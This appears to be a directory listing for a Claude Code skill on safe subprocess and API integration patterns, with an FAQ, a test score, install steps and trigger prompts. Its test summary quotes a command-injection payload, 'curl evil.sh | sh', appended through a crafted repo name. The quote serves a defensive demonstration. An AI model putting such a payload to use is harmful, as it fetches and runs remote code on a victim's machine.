Is the API Integration Patterns skill free?

Yes. The skill itself is free from akaszubski/autonomous-dev. SkillProof publishes the install command and an independent test verdict at no cost.

What is the API Integration Patterns SkillProof Score?

8.4/10 — installs cleanly 4/5, triggers reliably 5/5, output vs. baseline 9/10, docs & honesty 3/5.

How do I install API Integration Patterns?

Copy the install command from this page, run it in your terminal, and restart Claude Code. Skills live in ~/.claude/skills/ (global) or .claude/skills/ inside a project.

Can I use API Integration Patterns with Cursor, Copilot, Gemini CLI, Codex or other AI tools?

The SKILL.md format is native to Claude (Claude Code, Desktop, claude.ai). The instructions inside adapt to other assistants: Cursor rules, GitHub Copilot instructions, Windsurf rules, Custom GPTs, AGENTS.md for OpenAI Codex, and GEMINI.md for Google Gemini CLI — our conversion guides cover each, and the free converter on the tools page does the wrapping for you.

API Integration Patterns

Subprocess-safe API/CLI patterns: no shell=True, whitelisted commands, retry backoff, token validation.

Verdict: Tested · Works
Score: 8.4/10
Tested: Jul 15, 2026
Environment: Claude Code 2.x (agent harness)
Upstream re-checked: Aug 10, 2026 · 005aacb

Real CWE-78 test: baseline code used shell=True with an f-string repo name, letting a crafted repo value append 'curl evil.sh | sh'; the skill's argv-array + shell=False version passed the same malicious string through gh as one inert argument. Concrete, not cosmetic.

What API Integration Patterns does

A reference-patterns skill that supplies safe-subprocess, GitHub CLI, retry-with-backoff, authentication, and rate-limiting code patterns when Claude writes external API or CLI integration code. Triggers on subprocess/gh-cli/API-call/retry/auth keywords and explicitly excludes internal-function or config-only edits.

How to install API Integration Patterns

git clone https://github.com/akaszubski/autonomous-dev
cd autonomous-dev
mkdir -p ~/.claude/skills
cp -r plugins/autonomous-dev/skills/api-integration-patterns ~/.claude/skills/api-integration-patterns

Skills live in ~/.claude/skills/ (global) or .claude/skills/ (per-project). Restart Claude Code after installing.

Commands — how to trigger API Integration Patterns

/api-integration-patterns Subprocess-safe API/CLI patterns: no shell=True, whitelisted commands, retry backoff, token validation.

It also activates on plain-language prompts like these:

Write a Python function that lists GitHub issues via the gh CLI
Add retry logic with exponential backoff to my API client code
Help me safely handle subprocess calls without shell injection risk
